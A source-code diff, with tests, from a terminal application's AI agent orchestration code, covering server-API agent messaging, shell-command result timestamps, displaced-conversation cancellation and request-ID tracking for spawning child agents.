|
||||
BlocklistOrchestrationTelemetryEvent::TeamAgentCommunicationFailed(
|
||||
TeamAgentCommunicationFailedEvent {
|
||||
communication_kind: TeamAgentCommunicationKind::Message,
|
||||
transport: TeamAgentCommunicationTransport::ServerApi,
|
||||
orchestration_version: TeamAgentOrchestrationVersion::V2,
|
||||
failure_reason:
|
||||
TeamAgentCommunicationFailureReason::RequestFailed,
|
||||
source_conversation_id: conversation_id,
|
||||
source_run_id: (!log_sender_run_id.is_empty())
|
||||
.then(|| log_sender_run_id.clone()),
|
||||
target_count: Some(log_addresses.len()),
|
||||
lifecycle_event_type: None,
|
||||
error_message: Some(error_message.clone()),
|
||||
}
|
||||
),
|
||||
ctx
|
||||
);
|
||||
log::warn!(
|
||||
"Failed to send child-agent message via server API: conversation_id={conversation_id:?} sender_run_id={log_sender_run_id:?} target_agent_ids={log_addresses:?} subject={log_subject:?} error={err:#}"
|
||||
);
|
||||
AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Error(error_message),
|
||||
)
|
||||
}
|
||||
},
|
||||
)
|
||||
.into();
|
||||
}
|
||||
|
||||
let result = OrchestrationEventService::handle(ctx).update(ctx, |svc, ctx| {
|
||||
svc.send_message(conversation_id, &addresses, subject, message_body, ctx)
|
||||
});
|
||||
let result = match result {
|
||||
SendMessageResult::MessageSent { message_id } => {
|
||||
SendMessageToAgentResult::Success { message_id }
|
||||
}
|
||||
SendMessageResult::Error(error) => SendMessageToAgentResult::Error(error),
|
||||
let (sender_run_id, task_id, task_resolution) =
|
||||
sender_run_id_and_task_id_for_send(conversation_id, self.ambient_agent_task_id, ctx);
|
||||
let log_addresses = addresses.clone();
|
||||
let log_subject = subject.clone();
|
||||
let log_sender_run_id = sender_run_id.clone();
|
||||
let log_task_id = task_id.map(|task_id| task_id.to_string());
|
||||
let log_body_len = message_body.chars().count();
|
||||
let server_api = ServerApiProvider::as_ref(ctx).get();
|
||||
let ai_client = ServerApiProvider::as_ref(ctx).get_ai_client();
|
||||
log::info!(
|
||||
"Sending orchestration message: conversation_id={conversation_id:?} resolution={task_resolution:?} sender_run_id={log_sender_run_id:?} task_id={log_task_id:?} target_agent_ids={log_addresses:?} subject={log_subject:?} body_len={log_body_len}"
|
||||
);
|
||||
let request = SendAgentMessageRequest {
|
||||
to: addresses,
|
||||
subject,
|
||||
body: message_body,
|
||||
sender_run_id,
|
||||
};
|
||||
|
||||
ActionExecution::<()>::Sync(AIAgentActionResultType::SendMessageToAgent(result)).into()
|
||||
ActionExecution::new_async(
|
||||
async move {
|
||||
send_agent_message_with_timeout(server_api, ai_client, task_id, request).await
|
||||
},
|
||||
move |result, ctx| match result {
|
||||
Ok(response) => {
|
||||
let message_id = response.message_ids.into_iter().next().unwrap_or_default();
|
||||
log::info!(
|
||||
"Sent orchestration message: conversation_id={conversation_id:?} resolution={task_resolution:?} sender_run_id={log_sender_run_id:?} task_id={log_task_id:?} target_agent_ids={log_addresses:?} subject={log_subject:?} body_len={log_body_len} message_id={message_id:?}"
|
||||
);
|
||||
AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Success { message_id },
|
||||
)
|
||||
}
|
||||
Err(err) => {
|
||||
let error_message = err.to_string();
|
||||
send_telemetry_from_ctx!(
|
||||
BlocklistOrchestrationTelemetryEvent::TeamAgentCommunicationFailed(
|
||||
TeamAgentCommunicationFailedEvent {
|
||||
communication_kind: TeamAgentCommunicationKind::Message,
|
||||
transport: TeamAgentCommunicationTransport::ServerApi,
|
||||
orchestration_version: TeamAgentOrchestrationVersion::V2,
|
||||
failure_reason: TeamAgentCommunicationFailureReason::RequestFailed,
|
||||
source_conversation_id: conversation_id,
|
||||
source_run_id: (!log_sender_run_id.is_empty())
|
||||
.then(|| log_sender_run_id.clone()),
|
||||
target_count: Some(log_addresses.len()),
|
||||
lifecycle_event_type: None,
|
||||
error_message: Some(error_message.clone()),
|
||||
}
|
||||
),
|
||||
ctx
|
||||
);
|
||||
log::warn!(
|
||||
"Failed to send child-agent message via server API: conversation_id={conversation_id:?} resolution={task_resolution:?} sender_run_id={log_sender_run_id:?} task_id={log_task_id:?} target_agent_ids={log_addresses:?} subject={log_subject:?} body_len={log_body_len} error={err:#}"
|
||||
);
|
||||
AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Error(error_message),
|
||||
)
|
||||
}
|
||||
},
|
||||
)
|
||||
.into()
|
||||
}
|
||||
|
||||
pub(super) fn preprocess_action(
|
||||
@@ -166,3 +240,7 @@ impl Default for SendMessageToAgentExecutor {
|
||||
impl Entity for SendMessageToAgentExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "send_message_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
use warpui::{App, EntityId};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
|
||||
#[test]
|
||||
fn sender_run_id_and_task_id_for_send_falls_back_to_ambient_task_id() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let ambient_task_id = "11111111-1111-1111-1111-111111111111"
|
||||
.parse()
|
||||
.expect("valid ambient task id");
|
||||
|
||||
let (sender_run_id, task_id, task_resolution) = app.read(|ctx| {
|
||||
sender_run_id_and_task_id_for_send(conversation_id, Some(ambient_task_id), ctx)
|
||||
});
|
||||
|
||||
assert_eq!(sender_run_id, ambient_task_id.to_string());
|
||||
assert_eq!(task_id, Some(ambient_task_id));
|
||||
assert_eq!(
|
||||
task_resolution,
|
||||
SendMessageTaskResolution::AmbientTaskFallback
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sender_run_id_and_task_id_for_send_prefers_conversation_task_id() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let conversation_task_id = "22222222-2222-2222-2222-222222222222"
|
||||
.parse()
|
||||
.expect("valid conversation task id");
|
||||
let ambient_task_id = "33333333-3333-3333-3333-333333333333"
|
||||
.parse()
|
||||
.expect("valid ambient task id");
|
||||
|
||||
history_model.update(&mut app, |history_model, _| {
|
||||
history_model
|
||||
.conversation_mut(&conversation_id)
|
||||
.expect("conversation exists")
|
||||
.set_task_id(conversation_task_id);
|
||||
});
|
||||
|
||||
let (sender_run_id, task_id, task_resolution) = app.read(|ctx| {
|
||||
sender_run_id_and_task_id_for_send(conversation_id, Some(ambient_task_id), ctx)
|
||||
});
|
||||
|
||||
assert_eq!(sender_run_id, conversation_task_id.to_string());
|
||||
assert_eq!(task_id, Some(conversation_task_id));
|
||||
assert_eq!(task_resolution, SendMessageTaskResolution::ConversationTask);
|
||||
});
|
||||
}
|
||||
@@ -3,6 +3,7 @@ use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use bytes::Bytes;
|
||||
use chrono::{DateTime, Local};
|
||||
use futures::channel::oneshot;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::{select, FutureExt};
|
||||
@@ -15,9 +16,10 @@ use galaxyui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
use itertools::Itertools;
|
||||
use parking_lot::FairMutex;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{
|
||||
AIAgentActionId, AIAgentActionType, AIAgentPtyWriteMode, ReadShellCommandOutputResult,
|
||||
RequestCommandOutputResult, ShellCommandDelay, ShellCommandError,
|
||||
AIAgentActionId, AIAgentActionResultType, AIAgentActionType, AIAgentPtyWriteMode,
|
||||
ReadShellCommandOutputResult, RequestCommandOutputResult, ShellCommandDelay, ShellCommandError,
|
||||
TransferShellCommandControlToUserResult, WriteToLongRunningShellCommandResult,
|
||||
};
|
||||
use crate::ai::blocklist::permissions::CommandExecutionPermission;
|
||||
@@ -27,19 +29,12 @@ use crate::terminal::event::BlockMetadataReceivedEvent;
|
||||
use crate::terminal::model::block::{
|
||||
formatted_terminal_contents_for_input, Block, BlockId, CURSOR_MARKER,
|
||||
};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model_events::{ModelEvent, ModelEventDispatcher};
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::{
|
||||
ai::agent::AIAgentActionResultType,
|
||||
terminal::{
|
||||
model::session::active_session::ActiveSession,
|
||||
model_events::{ModelEvent, ModelEventDispatcher},
|
||||
TerminalModel,
|
||||
},
|
||||
};
|
||||
use crate::terminal::TerminalModel;
|
||||
use crate::{send_telemetry_from_ctx, TelemetryEvent};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
|
||||
pub struct ShellCommandExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
block_finished_senders: HashMap<BlockSelector, oneshot::Sender<()>>,
|
||||
@@ -79,7 +74,12 @@ impl ShellCommandExecutor {
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_terminal_model_event(&mut self, event: &ModelEvent, _ctx: &mut ModelContext<Self>) {
|
||||
fn handle_terminal_model_event(
|
||||
&mut self,
|
||||
_: ModelHandle<ModelEventDispatcher>,
|
||||
event: &ModelEvent,
|
||||
_ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
// We wait for precmd for the block _after_ the requested command's block so that
|
||||
// downstream checks for current working directory are fresh. The precmd hook is when
|
||||
// the shell relays current working directory to warp.
|
||||
@@ -252,6 +252,18 @@ impl ShellCommandExecutor {
|
||||
},
|
||||
));
|
||||
}
|
||||
// If another conversation has taken over the agent view since this command
|
||||
// was requested, cancel instead of executing.
|
||||
let is_displaced_by_other_conversation = model
|
||||
.block_list()
|
||||
.agent_view_state()
|
||||
.active_conversation_id()
|
||||
.is_some_and(|active_id| active_id != input.conversation_id);
|
||||
if is_displaced_by_other_conversation {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::RequestCommandOutput(
|
||||
RequestCommandOutputResult::CancelledBeforeExecution,
|
||||
));
|
||||
}
|
||||
// If the command might use pager and can't be interacted with,
|
||||
// we pipe its output to cat so we can prevent activating the altscreen.
|
||||
// The parentheses here ensures the command always gets evaluated first.
|
||||
@@ -307,12 +319,16 @@ impl ShellCommandExecutor {
|
||||
if block.finished() {
|
||||
let output: String = block.output_with_secrets_unobfuscated();
|
||||
let exit_code = block.exit_code();
|
||||
let start_ts = block.start_ts().cloned();
|
||||
let completed_ts = block.completed_ts().cloned();
|
||||
return ActionExecution::Sync(
|
||||
AIAgentActionResultType::WriteToLongRunningShellCommand(
|
||||
WriteToLongRunningShellCommandResult::CommandFinished {
|
||||
block_id: block.id().clone(),
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
),
|
||||
);
|
||||
@@ -360,12 +376,16 @@ impl ShellCommandExecutor {
|
||||
let command = block.command_with_secrets_unobfuscated(false);
|
||||
let output: String = block.output_with_secrets_unobfuscated();
|
||||
let exit_code = block.exit_code();
|
||||
let start_ts = block.start_ts().cloned();
|
||||
let completed_ts = block.completed_ts().cloned();
|
||||
return ActionExecution::Sync(AIAgentActionResultType::ReadShellCommandOutput(
|
||||
ReadShellCommandOutputResult::CommandFinished {
|
||||
command,
|
||||
block_id: block_id.clone(),
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
));
|
||||
}
|
||||
@@ -451,6 +471,8 @@ impl ShellCommandExecutor {
|
||||
block_id: block.id().clone(),
|
||||
output: block.output_with_secrets_unobfuscated(),
|
||||
exit_code: block.exit_code(),
|
||||
start_ts: block.start_ts().cloned(),
|
||||
completed_ts: block.completed_ts().cloned(),
|
||||
}
|
||||
} else {
|
||||
let grid_contents = if model.is_alt_screen_active() {
|
||||
@@ -593,6 +615,8 @@ impl ShellCommandExecutor {
|
||||
block_id: block.id().clone(),
|
||||
output: block.output_with_secrets_unobfuscated(),
|
||||
exit_code: block.exit_code(),
|
||||
start_ts: block.start_ts().cloned(),
|
||||
completed_ts: block.completed_ts().cloned(),
|
||||
}
|
||||
} else {
|
||||
let grid_contents = if model.is_alt_screen_active() {
|
||||
@@ -709,11 +733,15 @@ fn action_result_for_requested_command(
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
} => AIAgentActionResultType::RequestCommandOutput(RequestCommandOutputResult::Completed {
|
||||
command,
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
}),
|
||||
ActionResult::LongRunningCommandSnapshot {
|
||||
block_id,
|
||||
@@ -747,11 +775,15 @@ fn action_result_for_write_to_long_running_shell_command(
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
} => AIAgentActionResultType::WriteToLongRunningShellCommand(
|
||||
WriteToLongRunningShellCommandResult::CommandFinished {
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
),
|
||||
ActionResult::LongRunningCommandSnapshot {
|
||||
@@ -788,12 +820,16 @@ fn action_result_for_read_shell_command_output(
|
||||
output,
|
||||
exit_code,
|
||||
block_id,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
} => AIAgentActionResultType::ReadShellCommandOutput(
|
||||
ReadShellCommandOutputResult::CommandFinished {
|
||||
command,
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
),
|
||||
ActionResult::LongRunningCommandSnapshot {
|
||||
@@ -830,11 +866,15 @@ fn action_result_for_transfer_shell_command_control_to_user(
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
} => AIAgentActionResultType::TransferShellCommandControlToUser(
|
||||
TransferShellCommandControlToUserResult::CommandFinished {
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
),
|
||||
ActionResult::LongRunningCommandSnapshot {
|
||||
@@ -898,6 +938,8 @@ enum ActionResult {
|
||||
block_id: BlockId,
|
||||
output: String,
|
||||
exit_code: ExitCode,
|
||||
start_ts: Option<DateTime<Local>>,
|
||||
completed_ts: Option<DateTime<Local>>,
|
||||
},
|
||||
LongRunningCommandSnapshot {
|
||||
block_id: BlockId,
|
||||
@@ -909,3 +951,7 @@ enum ActionResult {
|
||||
Cancelled,
|
||||
BlockNotFound,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "shell_command_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
use std::sync::Arc;
|
||||
|
||||
use async_channel::unbounded;
|
||||
use futures::channel::oneshot;
|
||||
use parking_lot::FairMutex;
|
||||
use warpui::{App, EntityId};
|
||||
|
||||
use super::{BlockSelector, ShellCommandExecutor};
|
||||
use crate::terminal::event::{BlockMetadataReceivedEvent, BlockWorkingDirectoryUpdatedEvent};
|
||||
use crate::terminal::model::block::{BlockId, BlockMetadata};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::Sessions;
|
||||
use crate::terminal::model::terminal_model::{BlockIndex, TerminalModel};
|
||||
use crate::terminal::model_events::{ModelEvent, ModelEventDispatcher};
|
||||
|
||||
/// Locks in the contract that `ShellCommandExecutor`'s requested-command finish
|
||||
/// detector reacts only to `BlockMetadataReceived` (precmd) and not to
|
||||
/// `BlockWorkingDirectoryUpdated` (OSC 7). The detector relies on
|
||||
/// `BlockMetadataReceived` firing exactly once per block; OSC 7 can fire many
|
||||
/// times per block, so wiring it into the detector would resolve the wait
|
||||
/// future before the requested command actually finishes.
|
||||
#[test]
|
||||
fn block_working_directory_updated_does_not_drain_finish_senders() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let sessions = app.add_model(|_| Sessions::new_for_test());
|
||||
let (_model_events_tx, model_events_rx) = unbounded();
|
||||
let model_event_dispatcher =
|
||||
app.add_model(|ctx| ModelEventDispatcher::new(model_events_rx, sessions.clone(), ctx));
|
||||
let active_session = app.add_model(|ctx| {
|
||||
ActiveSession::new(sessions.clone(), model_event_dispatcher.clone(), ctx)
|
||||
});
|
||||
let terminal_model = Arc::new(FairMutex::new(TerminalModel::mock(None, None)));
|
||||
let executor = app.add_model(|ctx| {
|
||||
ShellCommandExecutor::new(
|
||||
active_session,
|
||||
terminal_model.clone(),
|
||||
&model_event_dispatcher,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
let block_id = BlockId::new();
|
||||
let selector = BlockSelector::Id(block_id);
|
||||
let (tx, _rx) = oneshot::channel::<()>();
|
||||
executor.update(&mut app, |executor, _ctx| {
|
||||
executor.block_finished_senders.insert(selector, tx);
|
||||
});
|
||||
assert_eq!(
|
||||
app.read(|ctx| executor.as_ref(ctx).block_finished_senders.len()),
|
||||
1
|
||||
);
|
||||
|
||||
// OSC 7 update — must NOT drain or resolve the finish sender.
|
||||
model_event_dispatcher.update(&mut app, |_dispatcher, ctx| {
|
||||
ctx.emit(ModelEvent::BlockWorkingDirectoryUpdated(
|
||||
BlockWorkingDirectoryUpdatedEvent {
|
||||
block_metadata: BlockMetadata::new(None, Some("/tmp/new".to_string())),
|
||||
block_index: BlockIndex::zero(),
|
||||
is_for_in_band_command: false,
|
||||
is_done_bootstrapping: true,
|
||||
},
|
||||
));
|
||||
});
|
||||
assert_eq!(
|
||||
app.read(|ctx| executor.as_ref(ctx).block_finished_senders.len()),
|
||||
1,
|
||||
"BlockWorkingDirectoryUpdated must not touch block_finished_senders — \
|
||||
that map is reserved for precmd (BlockMetadataReceived)"
|
||||
);
|
||||
|
||||
// Precmd event — the senders map should be drained (and since the
|
||||
// block isn't in the terminal model, the sender is dropped).
|
||||
model_event_dispatcher.update(&mut app, |_dispatcher, ctx| {
|
||||
ctx.emit(ModelEvent::BlockMetadataReceived(
|
||||
BlockMetadataReceivedEvent {
|
||||
block_metadata: BlockMetadata::new(None, Some("/tmp/precmd".to_string())),
|
||||
block_index: BlockIndex::zero(),
|
||||
is_after_in_band_command: false,
|
||||
is_done_bootstrapping: true,
|
||||
},
|
||||
));
|
||||
});
|
||||
assert_eq!(
|
||||
app.read(|ctx| executor.as_ref(ctx).block_finished_senders.len()),
|
||||
0,
|
||||
"BlockMetadataReceived should drain the finish senders"
|
||||
);
|
||||
});
|
||||
}
|
||||
@@ -1,25 +1,27 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::ai::agent::conversation::{AIConversation, AIConversationId, ConversationStatus};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use shell_words::split as split_shell_words;
|
||||
use galaxy_cli::agent::Harness;
|
||||
use galaxyui::{Entity, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::{AIConversationId, ConversationStatus};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, LifecycleEventType,
|
||||
StartAgentExecutionMode, StartAgentResult,
|
||||
};
|
||||
use crate::ai::blocklist::orchestration_event_streamer::OrchestrationEventStreamer;
|
||||
use crate::ai::blocklist::orchestration_events::OrchestrationEventService;
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryEvent, BlocklistAIHistoryModel};
|
||||
use galaxy_cli::agent::Harness;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use crate::ai::local_harness_setup::local_harness_product_disabled_message;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
|
||||
/// The result sent back to the executor after observing the child agent's lifecycle.
|
||||
enum StartAgentDecision {
|
||||
/// The child conversation was created successfully.
|
||||
Started { agent_id: String },
|
||||
/// The child agent completed and here is its output (local/blocking mode).
|
||||
Completed { agent_id: String, output: String },
|
||||
/// Per-request outcome of a StartAgent dispatch.
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum StartAgentOutcome {
|
||||
Started {
|
||||
agent_id: String,
|
||||
},
|
||||
/// An error occurred while starting the agent.
|
||||
Error(String),
|
||||
}
|
||||
@@ -33,10 +35,72 @@ fn invalid_local_child_harness_error(harness_type: &str) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
/// Groups the data for a single StartAgent invocation as it flows from the
|
||||
/// executor through the terminal view and pane group into the controller.
|
||||
/// Handles local child launch requests produced by older agents, where the
|
||||
/// prompt encoded the target CLI command and `execution_mode.harness_type` was
|
||||
/// still unset. Normalizing here keeps those requests routed through the Codex
|
||||
/// local harness path instead of launching them as Oz child prompts.
|
||||
fn parse_legacy_local_child_harness_command(command: &str) -> Option<(String, String)> {
|
||||
let args = split_shell_words(command.trim()).ok()?;
|
||||
match args.as_slice() {
|
||||
[binary, flag, child_prompt]
|
||||
if binary == "codex"
|
||||
&& flag == "--dangerously-bypass-approvals-and-sandbox"
|
||||
&& !child_prompt.trim().is_empty() =>
|
||||
{
|
||||
Some(("codex".to_string(), child_prompt.clone()))
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_legacy_local_child_harness_command(
|
||||
prompt: String,
|
||||
execution_mode: StartAgentExecutionMode,
|
||||
) -> (String, StartAgentExecutionMode) {
|
||||
match execution_mode {
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
} => {
|
||||
if let Some((harness_type, child_prompt)) =
|
||||
parse_legacy_local_child_harness_command(&prompt)
|
||||
{
|
||||
(
|
||||
child_prompt,
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: Some(harness_type),
|
||||
model_id,
|
||||
},
|
||||
)
|
||||
} else {
|
||||
(
|
||||
prompt,
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
},
|
||||
)
|
||||
}
|
||||
}
|
||||
execution_mode => (prompt, execution_mode),
|
||||
}
|
||||
}
|
||||
|
||||
/// Opaque, monotonically increasing request identifier.
|
||||
/// Disambiguates parallel in-flight StartAgent requests.
|
||||
#[derive(Clone, Copy, Debug, Hash, Eq, PartialEq, Default)]
|
||||
pub struct StartAgentRequestId(u64);
|
||||
|
||||
impl StartAgentRequestId {
|
||||
#[cfg(test)]
|
||||
pub const fn from_raw_for_test(value: u64) -> Self {
|
||||
Self(value)
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct StartAgentRequest {
|
||||
pub id: StartAgentRequestId,
|
||||
pub name: String,
|
||||
pub prompt: String,
|
||||
pub execution_mode: StartAgentExecutionMode,
|
||||
@@ -45,22 +109,16 @@ pub struct StartAgentRequest {
|
||||
pub parent_run_id: Option<String>,
|
||||
}
|
||||
|
||||
/// Tracks a single in-flight StartAgent action.
|
||||
struct PendingStartAgent {
|
||||
parent_conversation_id: AIConversationId,
|
||||
/// Set when `StartedNewConversation` fires for a conversation whose
|
||||
/// `parent_conversation_id` matches.
|
||||
/// Set once the child conversation is synchronously created.
|
||||
child_conversation_id: Option<AIConversationId>,
|
||||
sender: async_channel::Sender<StartAgentDecision>,
|
||||
/// When true, the executor blocks until the child agent finishes and
|
||||
/// returns its output as the tool result (local Bedrock mode).
|
||||
wait_for_completion: bool,
|
||||
sender: async_channel::Sender<StartAgentOutcome>,
|
||||
}
|
||||
|
||||
pub struct StartAgentExecutor {
|
||||
/// All in-flight StartAgent actions. Multiple agents can be spawned
|
||||
/// concurrently from the same parent.
|
||||
pending: Vec<PendingStartAgent>,
|
||||
pending: HashMap<StartAgentRequestId, PendingStartAgent>,
|
||||
next_request_id: u64,
|
||||
}
|
||||
|
||||
impl StartAgentExecutor {
|
||||
@@ -69,213 +127,183 @@ impl StartAgentExecutor {
|
||||
ctx.subscribe_to_model(&history_model, Self::handle_history_event);
|
||||
|
||||
Self {
|
||||
pending: Vec::new(),
|
||||
pending: HashMap::new(),
|
||||
next_request_id: 0,
|
||||
}
|
||||
}
|
||||
|
||||
fn next_request_id(&mut self) -> StartAgentRequestId {
|
||||
let id = self.next_request_id;
|
||||
self.next_request_id = self.next_request_id.wrapping_add(1);
|
||||
StartAgentRequestId(id)
|
||||
}
|
||||
|
||||
/// Links a pending request to its freshly-created child
|
||||
/// conversation so subsequent history events can find it.
|
||||
fn record_child_conversation(
|
||||
&mut self,
|
||||
request_id: StartAgentRequestId,
|
||||
child_conversation_id: AIConversationId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let Some(pending) = self.pending.get_mut(&request_id) else {
|
||||
return;
|
||||
};
|
||||
pending.child_conversation_id = Some(child_conversation_id);
|
||||
self.maybe_complete_pending_for_child_state(request_id, child_conversation_id, ctx);
|
||||
}
|
||||
|
||||
fn find_pending_by_child(
|
||||
&self,
|
||||
child_conversation_id: &AIConversationId,
|
||||
) -> Option<StartAgentRequestId> {
|
||||
self.pending.iter().find_map(|(id, pending)| {
|
||||
(pending.child_conversation_id.as_ref() == Some(child_conversation_id)).then_some(*id)
|
||||
})
|
||||
}
|
||||
|
||||
fn complete_pending_as_started(
|
||||
&mut self,
|
||||
request_id: StartAgentRequestId,
|
||||
child_conversation_id: AIConversationId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let Some(pending) = self.pending.remove(&request_id) else {
|
||||
return;
|
||||
};
|
||||
let agent_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&child_conversation_id)
|
||||
.and_then(|conversation| conversation.orchestration_agent_id());
|
||||
match agent_id {
|
||||
Some(id) => {
|
||||
let _ = pending.sender.try_send(StartAgentOutcome::Started {
|
||||
agent_id: id.clone(),
|
||||
});
|
||||
OrchestrationEventStreamer::handle(ctx).update(ctx, |streamer, ctx| {
|
||||
streamer.register_watched_run_id(pending.parent_conversation_id, id, ctx);
|
||||
});
|
||||
}
|
||||
None => {
|
||||
log::error!(
|
||||
"No agent identifier found for child conversation {child_conversation_id:?}"
|
||||
);
|
||||
let _ = pending.sender.try_send(StartAgentOutcome::Error(
|
||||
"Server did not assign an agent identifier".to_string(),
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn complete_pending_as_error(
|
||||
&mut self,
|
||||
request_id: StartAgentRequestId,
|
||||
child_conversation_id: AIConversationId,
|
||||
error_msg: String,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let Some(pending) = self.pending.remove(&request_id) else {
|
||||
return;
|
||||
};
|
||||
let _ = pending.sender.try_send(StartAgentOutcome::Error(error_msg));
|
||||
// A child that reaches `complete_pending_as_error` never obtained an
|
||||
// agent id, so it failed at the launch stage. Clean up its hidden
|
||||
// pane + conversation so the orchestration pill bar does not retain a
|
||||
// dead chip — but only for terminal failures, leaving recoverable
|
||||
// `Blocked` startup states (e.g. awaiting GitHub auth) intact.
|
||||
let should_cleanup = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&child_conversation_id)
|
||||
.is_some_and(|conversation| should_cleanup_failed_child_launch(conversation.status()));
|
||||
if should_cleanup {
|
||||
ctx.emit(StartAgentExecutorEvent::CleanupFailedChildLaunch {
|
||||
conversation_id: child_conversation_id,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
fn maybe_complete_pending_for_child_state(
|
||||
&mut self,
|
||||
request_id: StartAgentRequestId,
|
||||
child_conversation_id: AIConversationId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let Some(conversation) =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(&child_conversation_id)
|
||||
else {
|
||||
return;
|
||||
};
|
||||
if let Some(error_msg) = start_agent_error_message_for_status(
|
||||
conversation.status(),
|
||||
conversation.status_error_message().as_deref(),
|
||||
) {
|
||||
self.complete_pending_as_error(request_id, child_conversation_id, error_msg, ctx);
|
||||
return;
|
||||
}
|
||||
if conversation.orchestration_agent_id().is_some() {
|
||||
self.complete_pending_as_started(request_id, child_conversation_id, ctx);
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_history_event(
|
||||
&mut self,
|
||||
_: ModelHandle<BlocklistAIHistoryModel>,
|
||||
event: &BlocklistAIHistoryEvent,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
match event {
|
||||
BlocklistAIHistoryEvent::StartedNewConversation {
|
||||
new_conversation_id,
|
||||
..
|
||||
} => {
|
||||
if self.pending.is_empty() {
|
||||
return;
|
||||
}
|
||||
let history = BlocklistAIHistoryModel::as_ref(ctx);
|
||||
let Some(conversation) = history.conversation(new_conversation_id) else {
|
||||
return;
|
||||
};
|
||||
let parent_id = conversation.parent_conversation_id();
|
||||
// Find the first pending entry that matches this parent and hasn't been assigned a child yet.
|
||||
if let Some(pending) = self.pending.iter_mut().find(|p| {
|
||||
